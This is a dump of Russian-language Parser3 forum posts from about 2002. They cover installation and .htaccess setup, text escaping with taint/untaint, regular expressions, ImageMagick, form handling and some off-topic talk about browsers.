"9770","нужно перенести файл(лы) из одного каталога (1й) в другой (2й), при чем уже в 2м новом каталоге есть файлы с такими же именами...\
\
парсер парсит об ошибке)))... При чем, если я меняю 2й каталог на новый, допустим несуществующий, то все ок - файлы есть. Но на второй итерации - т.е. если еще раз запущу - ошибка)...\
\
видимо все таки гриппп(\
\
А так я это обошел, хотя это наверно и не в духе парсера по Пафу)"
"9774","Собственно для этого я и написал небольшой перловый скриптец чтобы больше не вспоминать про ресайз и не только jpg, но и gif, и png.\
http://www.parser.ru/examples/imagemagic/\
Что же касательно создания внутри Parser библиотеки для работы с графикой, включая изображения, давно еще во 2 версии предлагал PAF-у, но он убедил меня что это необходимо только для специфических задач. Хотя часть манипуляций с графикой всеже появилась в 3 версии. Так что imagemagick тебе в руки, самая на мой взгляд мощная на сегодня перловая библиотека для работы с графикой."
"9775","подумайте об использовании hash.\
подумайте об использовании базы данных.\
если ничего не приходит на ум, приведите задачу, давайте посмотрим.\
\
общая идея: манипуляции с таблицей должны быть простыми, чтобы их легче было писать/понимать."
"9776","это не в духе unix. мало ли что.\
там есть ключик «мы в танке, нам можно».\
я подумал, что нам танкисты не нужны, это опасно.\
"
"9777","Вопрос был задан несколько тредов назад http://www.parser.ru/forum/?id=9739 .\
\
На сервер закачал парсер. Все настроил как надо. Права доступа, конф. файл и остальное. Сервер -- Linux RH. Я уже устанавливал Parser3 и работал с ним на этом же сервере, так что вопросов и проблем по этому поводу быть не может. \
\
Посмотрите сами что выводит http://www.tsue.uz/cgi-bin/parser3/parser3.cgi . Проверяем работоспособность Parser’a http://www.tsue.uz/p3test/. Все правильно.\
\
.htaccess заполнен следующим содержимым:\
[code]\
# Подключение парсера\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3/parser3.cgi\
\
# Запрет на доступ к auto.p \
<Files ~ \"\\.p$\"> \
 Order allow,deny \
 Deny from all \
</Files>\
\
 [/code]\
\
Но корневой index и auto.p выдают следующее : http://www.tsue.uz \
[code]\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
Please contact the server administrator, webmaster@tsue.uz and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
[/code]\
\
Что делать?\
Код работает нормально на локальной машине под Денвером.\
\
Baurjan.\
"
"9780","Как сделать аналог функции trim (обрезание начальных и конечных пробелов в строке)?"
"9784","великиое сообщество птицеводов!\
тут банк пристал - надо сайт\
какие сайты порекомендуете как пример с хорошей структурой и организацией меню?"
"9785","которое является ответом на корневое сообщение треда, и также стоит сходить по ссылке, которую он дал."
"9786","что-то не получается у меня с этим чудо-юдом.\
\
В примерах, в статье про ЭТО, написано :\
[quote]\
Вывод сообщения форума из базы данных (в базе данных НЕ хранятся теги, отвечающие за разметку документа)\
\
@main[]\
$message[^table::sql{\
	SELECT\
		title,\
		body\
	FROM\
		forum_message\
	WHERE\
		forum_message_id = ^form:id.int(0)\
}[$.limit(1)]]\
# тут мы НЕ доверяем тому, что пришло из базы данных, туда запостил данные посетитель,\
# он мог написать туда тегов, которые поломают страницу, поэтому никаких taint/untaint НЕ НАДО\
<h1>$message.title</h1>\
$message.body\
[/quote]\
\
Хорошо, ничего с текстом не делаем. С русскими и английскими буквами все в порядке. Но вот с другими(турецкими) - все выводится в энтити-кодед виде.\
Как этого избежать?\
\
P.S. Раньше, я делал кучу ^taint/^untain'ов, не понимая их работы. При этом приходилось перед записью данных в БД програмно менять все <> на энтити. И все работало. Но вот решил понять принцип работы ЧУДО-ЮДОВ, и все - ступор, на экране одни &#302,&#304 и т.д."
"9790","все энтити он выводит как надо - текстом. А вот тэги вписывает в код страницы - ломает её нахрен. Наш самолет так не летает.\
Надо чтоб и энтити и тэги выводились как текст.\
\
P.S. Может делать ^untaint[as-is],а тэги менять програмно?"
"9791","агат, вы какую кодировку в $response:charset написали? видимо windows-1251.\
внимательно поищите в ней соответствия юникодным буквам с кодами 0x0302, которые вы достаёте из базы. видите — нет. что прикажете parser'у вам выдавать?\
\
диагноз: \
1. если нужна страница со смешанными языками, используйте $reseponse:charset[UTF-8]\
\
2. если нужна страница с турецкой кодировкой, нужно создать файл кодировки.\
в доке описан формат, или пришлите мне имя кодировки (\"windows-1257\" например), я создам то, что про эту кодировку думает windows. надо признать, часто он неточно думает, и ряда символов типографики не хватает, надо добавить руками."
"9793","перед постом програмно заменяю все <> на энтити, а при выводе из БД делаю ^untain{}... Вроде работает."
"9794","Почему-то при ^untaint{}'е все Энтеры херятся. В БД все в порядке - записано со всеми переводами. А вот при выводе на страницу после ^untaint{}'а - все пишется в одну строку.\
Как это исправить?"
"9795","с ними никак не получится. Надо их програмно на <br /> менять."
"9797","только вместо LIKE использовать что-то типа:\
[code]\
$found[^allData.select(^allData.someColumn.pos[$searchString] > -1)]\
[/code]\
полученную таблицу достаточно просто вывести ;-)"
"9798","Очень нужен человек способный написать сайт на П3.\
Работы немного и она достаточно легкая.\
НО, я не в состоянии заплатить нормальные деньги за разработку. \
Так что если вам нужно поднабраться опыта или получить работу в портфолио милости прошу.\
Возможен бартер: услуги профессионального дизайнера и баннермейкера в обмен на ваши.\
\
Присылайте ваши контакты на diss@smtp.ru, я обязательно с вами свяжусь.\
"
"9799","Тут натолкнулся на сложность с regexp из Мишиной копилки (http://www.parser.ru/examples/regexp/), который обрамляет url'ы:\
\
[i]@matchHrefs[text]\
$result[^if(def $text){^text.match[(^^|[^^=\"])(http:\\/\\/|ftp:\\/\\/|mailto:)([:a-z0-9~%\\{\\}._/?=&@,#-]+)][gi]{${match.1}<a href=\"${match.2}${match.3}\">${match.2}${match.3}</a>}}]\
#end @matchHrefs[] [/i]\
\
(ну, для начала, там не хватает news: и aim: ;)\
\
Предположим, нарывается этот regexp на фразу \"а что мне думать по поводу этого - [i]ссылка[/i]?\" Знак вопроса будет считаться частью url. Ровно как и точка, что неправильно. \
\
Как модифицировать оный regexp, чтобы избегать таких ситуаций?\
\
Да, до кучи про regexp'ы:\
\
есть мысль на одном моём форуме менять смайлики на их графические эквиваленты, чтобы облегчать чтение. Проблема в том, что даже простой смайлик [b]:-)[/b] можно записать как[code]:)\
:o)\
:-))))\
:o)))[/code]и ещё полудюжиной способов. Никто не брался за аналогичную задачку (неохота ещё раз изобретать велосипед просто)..."
"9800","Глянь, как это сделано в phpBB - там много картинок (пара десятков), и просто проверяется - встретилась последовательность ;-) - вместо нее нужный <img ... />\
Сделать просто - через ^string.replace[] - таблица подмен очевидна ;-)"
"9801","таблица подмен НЕочевидна, и в этом проблема. Смайлику http://help.msn.com/!data/ru_ru/data/messengerv50.its51/$content$/regular_smile.gif может соответствовать\
\
:-)\
:)\
:)))))))))\
:o))))\
:-)))0 - shift отпустили раньше, чем надо, вот и нули\
:=)\
\
и ещё много как. Ни у кого нет готовой таблицы соответствий, чтобы велосипеда не изобретать?\
\
(П.С. - а иконки я буду не из PHPBB, а из [url=\"http://help.msn.com/RU_RU/HelpWindow_msg.asp?INI=Messengerv50.ini&H_VER=1.7&Topic=emoticons.htm&H_APP=MSN%20Messenger&Filter=!WinDL\"]MSN Messenger[/url] брать...)"
"9802","Народ смайлики в картинках любит, и, как показывает опыт, быстро привыкает правильное количество скобочек писать ..."
"9803","но моя задача - предусмотреть даже самые экзотические варианты..."
"9805","Я вообчето не собираюсь заниматся рекламой PHP, но я на нем все пишу.\
\
Но если работа не большая, можно и на П3 её сделать. Я готов посмотреть подробности.\
\
Но работа не должна быть громосткой. У меня мало времени, а я привык делать работу на отлично.\
\
Пишите.\
\
P.S. а сколько вы готовы заплатить, если вообче готовы?"
"9806","У меня не запускается Парсер. Скопировал сайт, установил .htaccess c нужными строками. Но Парсер не запускается совсем, не обрабатывает мои страницы. \
\
Вы мне говорили, что нужно открыть доступ для обработчиков в Апаче. Я это сказал адм-ру сервера. Он позавчера пообещал сделать. \
\
А сейчас смотрю, не работает все равно. Уже 21.00 вечера у меня, адм-ра нет на рабочем месте, конечно. \
\
Не могут быть другие причины не работы сайта? У меня доступ есть ко многим настройкам, кстати."
"9809","1. Возможно парсер не под ту ОС у тебя\
2. Возможно не то в .htaccess\
3. Возможно админ схалтурил и не выполнил твою просьбу\
4. Возможно ты не в нужном режиме закачал парсер\
5. Возможно не те права стоят у парсера\
6. Возможно ничто из вышеперечисленного не является причиной такой херни:)"
"9811","Так же нельзя, не с того не с чего заявлять что к вам пристали без повода.\
\
Они что хотят от сайта, какую отдачу?"
"9818","как добавить в хэш пару ключ - значение, чтобы он не перезаписывался?"
"9819","http://www.parser.ru/docs/lang/hashadd.htm"
"9820","Как проверить, содержит ли какой-то метод в себе что-то ли он пуст?\
бывает нужно проверять, определен ли он ранее и реагировать на это\
\
определять метод в начале конечно хороше, но мне нужно просто проверить набит ли он или неи"
"9821","[code]\
  $is_method[^trim[^method[]]]\
  ^if(def $is_method){что-то есть}{пусто}\
[/code]\
\
Метод trim взят из http://www.parser.ru/examples/lib/"
"9822","У меня аналогичная проблема. Создал файлы из примера 1, а в броузере - только ^navigation[].\
У меня установлен Apache."
"9823","допустим, ты хочешь проверить существование метода с именем method\
^if(def $method){существует}\
\
Правда скоро такое работать не будет, и надо будет писать так:\
^if($method is \"junction\"){существует}\
"
"9824","[code]\
^if(\"$env:HTTP_REFERER\"=\"http://fw.rus-el.ru/telad/adm/users.html\"){}\
[/code]\
или\
[code]\
^if($env:HTTP_REFERER=http://fw.rus-el.ru/telad/adm/users.html){}\
[/code]\
или\
[code]\
^if($env:HTTP_REFERER=\"http://fw.rus-el.ru/telad/adm/users.html\"){}\
[/code]\
неработает отвечает\
[code]\
[Sat Nov 23 15:40:22 2002] (путь к моему файлу).html: (к нему же путь).html(9:24): p\
arse error, expecting `';'' or `')'' [parser.compile]\
[/code]\
Есть предложения, Уважаемые?"
"9826","Короче суть следующая:\
Структура папок:\
/var/www/\
        cgi-bin/\
                parser3.cgi\
                и др.\
        html/\
             index.html\
             auto.p\
             .htaccess\
             и др.\
\
\
В .htaccess\
------------------------------------\
AddHandler parser3 html\
Action parser3 /cgi-bin/parser3.cgi\
------------------------------------\
\
В итоге все работает нормально... НО\
\
когда я помещаю parser3.cgi например в папку /html/parser3.cgi\
где тоже разрешено выполнение cgi\
то пишу в .htaccess\
\
AddHandler parser3 html\
Action parser3 parser3.cgi\
\
Короче какие пути я не пробовал, но суть в том, что\
\
Выдается ошибка 404:\
Мол parser3.cgi/index.html  Not Found\
Короче какие пути не пиши, а все равно подставляется после parser3.cgi/index.html\
\
Так у меня дома, также и на хостере net.ru\
у которого alias-папки cgi-bin, то есть она такая же равнозначаная как и все папки в web-пространстве.\
Если я пишу абсолютный путь в htaceess типа ./var/www.., то выдает вообще Bad Request.\
\
Дома я имею классическую папку-алиас /cgi-bin/ и все ок, но применить парсер на хостере не удается?\
\
Что я делаю не так?\
"
"9827","Как ни крути а вирутальной папки /cgi-bin/ у них нет\
так как скрипты выполняются везде, но тут то и весь трабл, я читал\
через поиск все подходящие Треды, на эту проблему отвечали и egr и PAF, но так и не помогли ни разу. Можент сейчас подскажут?\
\
Короче когда пихаешь что в корень, что в папку/ в итоге:\
всегда получается\
 \
 MY_FOLDER/parser3.cgi/index.html\
\
Как избавится от этого проклятого index.html ???\
\
Дома все также, только дома то есть виртуальная папка /cgi-bin/\
и все ок, и есть также простые папки в которых тоже можно выполнять cgi, эффект такой же как на НЕТ.РУ\
\
Короче Эта проблема закрывает мне все пути к реализации проектов на каком либо хостере при помощи парсера... ВОТ такие печальные дела.."
"9828","c net.ru\
\
[code]\
AddHandler parser3-html .html\
Action parser3-html /parser3.cgi\
[/code]\
\
Так работает.\
Как догадался - перебрал все варианты :-)"
"9829","Пиши путь от каталога html.\
Т.е. если parser в \
\"html/parser3/parser3.cgi\"\
в .htaccess надо писать /parser3/parser3.cgi\
\
Можно уйти в мыло:\
ilya_sk@lenta.ru"
"9830","только не пойму: ну и что, что скрипты могут выполняться везде? что мешает создать этот cgi-bin и положить туда парсер-то? я так и сделал - что ему делать в корне веб пространства? да, это не есть очень здорово, но проблем в этом не вижу.\
\
далее, этот net.ru - он странный очень... я запарился туда ставить парсер и играться с правами... самое прикольное то, что дашь права - работает... поиграешься с ними - перестает... вернешь как было - все равно не пашет. удалишь файл, зальешь заново, дашь права - опять работает... логики там и не понял, но у меня парсер работал как с установленными правами на cgi-bin 700, 710, 711, 755 и на сам парсер: 700, 710, 711, 755. Щас остановился на правах 710/700 (возможно я в чем-то не прав...)\
\
При этом конфигурационный auto.p лежит у меня рядом с парсером, его вообще не пришлось править от default (ну только поправил строки подключения и заремил ненужные мне кодировки)\
\
У меня структура такая:\
[code]\
html\
	-\
		cgi-bin (права 710)\
			charsets\
				*.cfg (права 600)\
			lib\
				libparser3mysql.so (права 600)\
			parser.cgi (права: 700)\
			auto.p (права 600)\
		.htaccess (Action parsed-html /cgi-bin/parser.cgi)\
		*.html (собственно мои файлики, права 644)\
	index.asis (перекидывает на www.мой домен.ru)\
[/code]\
\
P.S. каталог \"-\" - это не ошибка, читайте описание на net.ru\
P.P.S. parser с отключеной проверкой групп, без xml"
"9831","В броузере выводится только ^navigation[]. При этом пример c 2+2=4 работает. Запускаю из-под Apache (из дистрибутива Денвера)."
"9832","Допустим, что пользователь вводит какой то текст и среди прочего он содержит \
[code]<img src=\"C:\\files\\buttons_original.gif\" alt=\"\" width=\"66\" height=\"25\" border=\"0\">[/code]\
Можно ли каким-либо образом загрузить это изображение на сервер?"
"9833","Выдает %CD%E0%E9%F2%E8"
"9835","Я пытаюсь заставить работать ImageMagick из-под парсера -- и у меня ничего не получается. Я все делаю, как в примере по изменению размеров картинок. Вот, например, пусть есть такой скрипт:\
use Image::Magick; print \"YO\";\
(ну, еще две строки на указание интерпретатора и вывод header'а) Если запускать его прямо из браузера или из командной строки -- все прекрасно работает. Но если вызывать его из парсера -- не работает ничего! Если вручную отлавливать exception, то ошибка получается следующая: Can't load 'C:/Inetpub/perl/site/lib/auto/Image/Magick/Magick.dll, при том что, такой файл, разумеется, есть. Это вводит меня в ступор.\
\
Помогите, пожалуйста, если знаете, в чем может быть загвоздка.\
Спасибо."
"9836","Поподробнее можно?\
Чего не работает????"
"9837","Как может перловый скрипт работать при вызове напрямую из браузера, но не работать (ошибка на этапе интерпретации) при вызове из парсера??? (Win2k, IIS, ActivePerl)"
"9838","теоретически наверно можно, но надо ли? Лучше может сделать менюшку загрзить рисунок и вставлять с сервера..."
"9839","Тексты файлов скопированы из примера №1 и сохранены под теми же именами. Единственное, в чем я не уверен, - это в папке, в которой их надо сохранять. Может, проблема в этои? В какую папку надо сохранять sections.cfg,auto.p и somename.htm?"
"9840","В корне..\
Нужно не копировать, а понимать..."
"9841","...придумали ребята из конторы http://www.editworks.com глянь как там у них реализована загрузка изображений в демо-версии."
"9842","http://www.editworkspro.com О! вот это верный %)))"
"9843","Ой !\
А как это ?\
Если работает математика - значит работает Парсер.\
Т.е. ты вызываешь неопределенный метод, он тебе про ошибку пишет (должен).\
Ты уверен, что математика работает на той же самой странице ???\
Скорее всего, ты не положил к этим файлам .htaccess"
"9844","Да нет, математика работает на другой странице - там есть тестовая страница. Простите чайника за вопрос, но что есть .htaccess и куда его класть? Все когда-то учатся..."
"9845","http://www.parser.ru/docs/lang/install.htm\
\
Уж не знаю, какой у тебя веб-сервер ...\
Не важно.\
Положи в ту же папку, где тестовая страница, тот файл, из которого ты вызываешь ^navigation[].\
Расширения файлов должны совпадать (напр. test.html и index.html)"
"9847","кто нибудь устанавливал parser на valuehost.ru?\
я просто ещё только начал этим заниматься - и многого не понимаю - что, зачем, в какой последовательности и каким образом делается\
помогите пожалуйста!"
"9848","Скачиваешь Парсер (Grupunlim) и конф. файл, заливаешь все (не забудь про binаry) - вот и все..."
"9849","Ну например,... ы-ы-ы лучше посмотреть ссылки по теме - http://www.webmasterbox.com/strumenti/risorse/WYSIWYG-Editor.php\
\
А эту штуку, о которой шля речь я у них содрал %))), так, спортивного интереса ради. Написал письмо им, можно ли использовать %))) если разрешат, выложу в общее пользование, если нет, придёцца всё удалить :((("
"9853","Прописал на сервере wap-типы - заработало -хорошо...\
Назначил обработчиком .wml - parser3.exe,\
добавил в auto.p mime-типы:\
.wml	text/vnd.wap.wml\
.wbmp	image/vnd.wap.wbmp\
.wmlc	application/vnd.wap.wmlc\
.wmls	text/vnd.wap.wmlscript\
.wmlsc	application/vnd.wap.wmlscriptc\
- И не работает.\
\
Все равно возвращает text/html\
\
Соответственно wap-browser говорит: \
\"Server return wrong Content-Type: text/html. I parse only\"\
\
(сервер - iis)\
"
"9854","Есть уже бинарная версия с исправленной ошибкой\
(junction) has no string representation\
которая появлялась при использовании\
$.html  в sen:mail\
\
^mail:send[\
 $.content-type[\
 $.value[text/plain]\
 $.charset[windows-1251]		\
 ]\
 $.to[<mail@mail.ru>]\
 $.subject[как дела]\
 $.html{Как у тебя дела? У меня <b>изумительно</b>!}\
]\
"
"9855","А где взять \"правильный\" парсер... я допустим не могу компилировать на сервере моего хостера скрипт. Как быть?"
"9856","http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0005_freebsd46R_grpunlim_cgi.tar.gz\
\
http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0005_freebsd46R_grpunlim_cgi_xml.tar.gz"
"9857","Ее нужно скопировать и установить www.imagemagick.org"
"9858","Но это не эффективно.\
А так достаточно пробежаться по тексту match-ем найти <img src=\"локальный путь к файлу\" если найдено, закачивать на сервер и менять на <img src=\"путь к файлу на сервере\"\
\
Но всеже лучше сделать форму отдельной загрузки картинок, а в текст их вставлять к примеру так: [img=\"1\"] ,цифра определяет имя файла, все остальное можно получить и вывести ^picture.html[]"
"9859","Птицеводы, пожайлуста помогите.\
Как таблицу(например из БД) загрузить в web-форму, для её послед. редактирования. (Не получается вставить переносы строки.)"
"9860","... ну пробежались матчем, дальше что? Как технологически, можно забрать файлы с удалённой машины? Если только принудительно отправить форму, со скриптом, автоматически сабмитющююся... Это имелось виду, или ещё есть варианты?"
"9862","а у провайдера стоит RH 7.*!!!\
\
Как быть?"
"9863","... сказка, это как её потом обрабатывать. Если не секрет, поделитесь как вы собираетесь это делать? Не корысти ради, просто хочу сравнить... В своё время очень удивился насколько это оказалась нетривиальная задача (для меня по крайней мере).\
\
Насколько я понял требуется редактировать таблицы вида\
\
data1     data2     data3     ...\
data1     data2     data3     ...\
data1     data2     data3     ...\
...\
и т.д"
"9864","и сейчас работает и потом будет работать такое:\
[code]\
^if($имя is junction){существует}\
[/code]"
"9865","Обрабатывать также как и загружать: разбивать по переносам строк, затем по табам и формировать таблицу, которую затем сохранять. Но пока что проблема в выводе :)\
\
Практическое назначение: дать пользователю возможность редактирования файлов конфигурации, прайс листов итп не давая ему доступа непосредственно в каталоги сервера."
"9866","будьте проще, не используйте лишней perl прослойки:\
\
imageMagic есть и в виде вороха утилит, вам нужна convert. просто запустите её с необходимыми параметрами."
"9867","посмотрите в cgi-bin/auto.p строчку $response:content-type\
вам нужно другое значение…"
"9868","Библиотека установлена, конечно.\
\
Меня все же очень интересует сформулированный вопрос: разве парсер по команде exec/cgi myscript.cgi не передает управление этому скрипту так же, как если бы я сразу из браузера к нему обратился? Вот выходит, что нет. А в чем тогда разница?"
"9870","А можешь кинуть мне на мыло?"
"9871","Вот например тестовое задание.\
Там нужно сделать полупрозрачные тени, а как я просто недоганяю, ведь все, в том числе и Тема пишут, что GIF ну не поддерживает эффект полупрозрачности.\
\
Подскажите как все же сделать полупрозрачную тень над двигающимся бакгроундом.\
\
Пол инета перерыл и ничего кроме того, что это невозможно не нашел. Подскажите."
"9873","Можно по подробней?"
"9874","Что я должен там со стилями сделать, я как никак с CSS очень давно знаком, но ничего того, что может мне помочь не нахожу.\
\
Можно по подробней?"
"9875",">разбивать по переносам строк, затем по табам и формировать >таблицу,\
боюсь что добрая половина пользоваетелей поубивает табуляцию и превратит таблицы в кашу..."
"9877","Прозрачность к dhtml отсноситься.\
Например:\
style=\"filter:alpha(opacity:50,enabled:1)\""
"9878","Положи .htaccess файл в корневую папку сайта и пропиши в нем типы и пути:\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>"
"9881","Новости: при вызове любой страницы выводится сообщение: user-request(1): '/home/vermond/vermond_html/project.htm' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/home/vermond/vermond_html/project.htm'  type: parser.runtime.\
\
Что делать?\
\
1. Возможно парсер не под ту ОС у тебя\
У них FreeBSD 4.6 и я скачал именно эту. Более того она с консоли запускается и говорит, что дайте какой-то файл\
2. Возможно не то в .htaccess\
Вроде все то.\
3. Возможно админ схалтурил и не выполнил твою просьбу\
Он сказал, что для моего каталога разрешил обработчиков\
4. Возможно ты не в нужном режиме закачал парсер\
В том, я использовал IE\
5. Возможно не те права стоят у парсера\
Я установил атрибут на запуск."
"9882","http://parser.ru/forum/?id=9856\
\
и ищите по форуму, поиск даёт много полезного."
"9887","sorry za transliterat - ne so svoey mashini pishu(i knopki zapadayut, blin)\
\
Delo v tom, chto pri vivode texta Parser (neizvestno pochemu) herit vse tab'i i enter'i. i nikakiye tut ^taint ^untaint'i ne pomogut. Nado vruchnuyu perebirat text na nalichiye enter'ov i menyat ih na <br />(nuu , ili na chto vam tam nuzhno). S tabami takzhe.\
\
Za primer mozhet pokatit vot eto : \
[code]\
#enter posle .match[ nesprosta. No mozhno ego i na hex-code zamenit.\
$text[^text.match[\
][gi]{<br />}]\
[/code]\
\
i potom <textarea name=\"some_name\">$text</textarea> - tak vam nado?!\
"
"9888","т.к. элемент, от которого идет падающая тень не обязательно может быть \"кривым\", а сама падающая тень может быть какой угодно кривой(т.е. как вздумается дизайнеру) -- выход один -- gif + alpha"
"9890","в которые вводятся данные. Четвертая форма имеет только\
[code]\
<form>\
<input type=submit name=submit value=ОК>\
</form>\
[/code]\
\
Каким образом получить данные из первых трех форм при нажатии кнопки [b]ОК[/b]"
"9891","А кто мешает объединить все формы в одну?"
"9892","В одной форме вводятся данные. В эту же форму включено 2-е формы вида\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\">\
<input name=\"photo\" type=\"file\">\
<input type=submit name=submit value=Загрузить>\
</form>\
[/code]\
для запроса путей к файлам изображений. После того как пути к этим файлам выбраны необходимо отослать информацию вместе с этими путями."
"9894","все объеденил и вперед, только даешь формам для фоток разнуе имена: photo1, photo2, et c."
"9898","Здравствуйте!\
\
Как мне сделать так что бы Парсер работал на локальной версии и сразу переписывал в отдельную директорию готовый html код. Это нужно например, если хостинг не поддерживает Парсер. В документации что-то сказано по этому поводу, но ...\
\
Спасибо"
"9901","мне надо в textarea вывести таблицу.\
как в textarea перенос строки-то влепить(ентеровский)?"
"9902","перенос строки не отпимайзился. А это делается в том числе с помощью taint..."
"9903","например \
<textarea>\
  ^mytable.menu{\
     $mytable.field\
  }\
</textarea>\
что тут дораьотать надо? Куда и какой тайнт поставить?"
"9904","1. я совершенно не понял условий задачи. Что за таблица?\
2. ты похоже таки не читал про taint/untaint\
\
Попробую погадать...\
1. у нас есть текстовый файл/поле в БД где лежит уже tab-delimited таблица: тогда чтобы вывести это поле в textarea ничего не надо красить ручками:\
[code]\
$f[^file::load[text;/_t.cfg]]\
<form>\
	<textarea cols=\"60\" rows=\"8\">$f.text</textarea>\
</form>\
[/code]\
\
2. Далее, допустим у нас есть в cfg файле табличка, которую мы хотим загрузить как табличку и потом вывести ее в textarea (я не знаю зачем потребовалось это извращение, если задача - дать возможность редактировать данные в ней через веб-интерфейс, ну да ладно...)\
[code]\
$t[^table::load[/_t.cfg]]\
$c[^t.columns[]]\
<form>\
	<textarea cols=\"60\" rows=\"8\">\
		^c.menu{$c.column}[^taint[html][^#09]]\
		^t.menu{\
			^c.menu{$t.[$c.column]}[^taint[html][^#09]]\
		}[^taint[html][^#0A]]\
	</textarea>\
</form>\
[/code]\
\
Писать ^#09 и ^#0A не обязательно, можно втыкать прямо символы табуляции и перевода строки в текст документа, просто мне больше нравится так (это наглядно, я говорю тому, кто будет читать код - вот тут я специально вставляю такой символ)\
\
Теперь про редактирование таблички, которую достали из БД - пишите сами, я не буду даже думать в сторону таких извращений. :)\
\
Посмотреть можно тут (работать долго не будет, грохну):\
http://parser.ru/_t.html\
\
И не говорите, что не понятно что делает taint после того, сколько хотя-бы я написал на эту тему..."
"9905","Повод следующий, Givi немного модифицировал код демо-версии WYSIWYG редактора от www.editworkspro.com. И собственно получил Парсерный класс, который можно очень мило использовать как что-то типа системы управления контентом. Тока помощь на русский не перевёл, времени нет %) Как существо вроде-бы честное и слегка совестливое, он направил разработчикам запрос, относительно того, можно ли использовать их код... вот фрагмент переписки:\
\
[i]\
...\
Look,  i'm  not planning to sale your product, i'm planning to present\
the  job  you've  done  as  an  open-source  product  for community of\
developers on some special and new server-side language. It is not php\
and not asp, and it is in Russia, and on russian language (still).\
\
So,  if  you totally reject all my suggestion i have to do nothing but\
delete  all modified files of EditWorksPro from my computer and try to\
do  the  same  thing myself using recomendations from your DevArticles\
and DevScripts.\
\
Best regards\
Givi Gegenava\
----------\
\
Givi,\
\
If you could just place a link to EditWorks professional that would be\
fine.\
\
Regards\
Ben Rowe\
[/i]\
\
Насколько я понял, это есть разрешение. Таки хочется выложить ето дело в общее пользование. Я писал 2 Luzhnikovskiy на konst@design.ru, но письмо вернулось и сказало, что с моего адреса туда писать нельзя %))) Вот собственно поетому и лезу на форум. Ку. Какие мысли? Тока не предлагайте мне выслать вам по мылу что-нибудь, мне так не интересно %)))\
"
"9908","./parser3.cgi: error in loading shared libraries: libstdc++-libc6.2-2.so.3: cannot open shared\
object file: No such file or directory\
\
вот что выдаёт он, скомпиленый с disable-foreign-group на моём Linux Mandrake 8.\
И почему бинарник получился 2,5 мега??? пришлось UPX'ом сжимать."
"9910","Огромное спасибо, Вы совершенно правы. Convert решил вопрос.\
(Но суть проблемы со скриптом осталась мне непонятна.)"
"9911","эх... вот так всегда...\
\
а все равно не буду я юзать IE, \"ни-за-фто\"! :)"
"9913","натравливаешь на свой локальный сайт teleport :)\
\
потом делаешь глобальную замену url :)\
\
и выкладываешь..."
"9917","Как насчёт авторского кода, но работа там проделана людьми нехилая, в том смысле, что в одно рыло заморачиваться писать такой редактор... хм, ну в общем, нужно по-крайней мере свободное время.\
\
Да, редакторов таких, дофига, а этот имхо, один из лучших, и уж если сами разработчики не против, почему-бы не использовать тем более что многим такая штука весьма пригодилась бы. Именно как CMS начального уровня, или вспомогательная."
"9921","Проинсталил парсер на IIS как описано, скопировал конфигурационные файлы, открываю файл index.html - выдает ошибку\
\
Ошибка CGI\
Указанное приложение CGI не возвратило полный набор заголовков HTTP. Не возвращены заголовки\
\
Подскажите плз, что не так? Заранее спасибо."
"9923","Во первых с Oper'ой, которая как IE по умолчанию определяется сидит процентов 20%.\
\
А как вот быть с умирающей технологией NN.\
\
У нас в стране к сожалению очень много людей любят ругать других, -например Microsoft вместо того, чтобы что-то делать.\
\
Да, - это их проблема, Но это не повод наплевать на них."
"9926","Все реализуемо простыми GIF-ами, и поддерживается любыми браузерами. На то оно и тестовое задание, чтобы быть непростым."
"9927","скорее всего дело было в каких-нибудь переменных окружения, которые у пользователя Вы были установлены, а у пользователя, от имени которого работал parser — нет."
"9928","1. INSTALL файл почитайте, вот написано:\
\
  You can disable libstdc++ linkage by setting\
  --disable-link-libstdcpp\
  option to configure.  \
\
2. man strip\
"
"9930","расскажите, что произошло\
"
"9931","Такие редакторы используются в основоном в веб-интерфейсах, так что мы вполне можем пользователю выставить требование по использованию определенного браузера. В крайнем случае можно определять тип браузера и выводить либо редактор, либо просто textarea ..."
"9932","Спасибо, уже все заработало. Просто не докопировал конфигурационные файлы для xml, сорри за чайницкие вопросы :)"
"9933","Мое IMHO:\
\
Во первых IE - не удобно. Чтобы он имел в себе столько вкусностей, сколько имеет в себе опера нужно запариться и ставить разные MyIE, NetCaptor-ы или еще что, чего я даже не знаю :)\
Я уже не могу без \"Mouse gestures\", мучаюсь без MDI окон, проперся (и уже юзаю) session в 7 опере, от ее механизмов подавления всплывающих окошек, от возможнстей максимум двумя кнопками изменить в ней ключевые настройки, влияющие на отображение (если вдруг кто написал темно синим по черному а я таки хочу прочитать текст) и т.д.\
\
Во вторых - тормозно. Я не сижу на древних железках, но когда IE взбредает в голову почиститьсвой кеш - пауза с минуту, в течении которой на компе делать ничего невозможно обеспечена. Тормоза при открытии новых окон тоже меня не особо радуют. Работать с открытым кол-вом окон больше чем десяток становится некомфорто (я не говорю про комп, на котором запущено 10 окон експлорера и все, я говорю про обычный свой режим работы, где я использую таки некоторое кол-во разных приложений)\
\
В третих - security... Устал я следить за security апдейтами эксплорера.\
\
есть еще кое что, что я упустил, т.к. эти пункты я писал из головы, и просто забыл :)\
\
P.S. + есть еще некоторая предвзятость к продуктам MS :)\
P.P.S. когда я говорил про прогрессивное человечество я _не_ себя имел ввиду.\
P.P.P.S а вообще это офф-топик :) килять надо :))"
"9934","1. Если сравнить загрузку браузеров на старом железе, у меня я думаю оно не новее, то OP грузиться раз в 5 дольше IE\
\
2. Во вторых привыкание к переходу назад<>вперед с помощью мыши, - это наркотик, который можно сравнить с разными прогами автоматически переключающими кодировку, на которые потом садишся. \
\
А если бы у тебя было настолько уж древнее железо, как ты прибедняешся, то ты бы узнал, что такое мышка со сломанным щелчком на правой кнопки, для октивации которой достаточно малейшего прикосновения.\
\
3. Отрубание стилей отнють не всегда помогает.\
\
4. IE это лучшая покупка Microsoft. В Иллинойском университете, сделали реально хороший браузер, который все знает и все понимает.(с точки зрения кодера)\
\
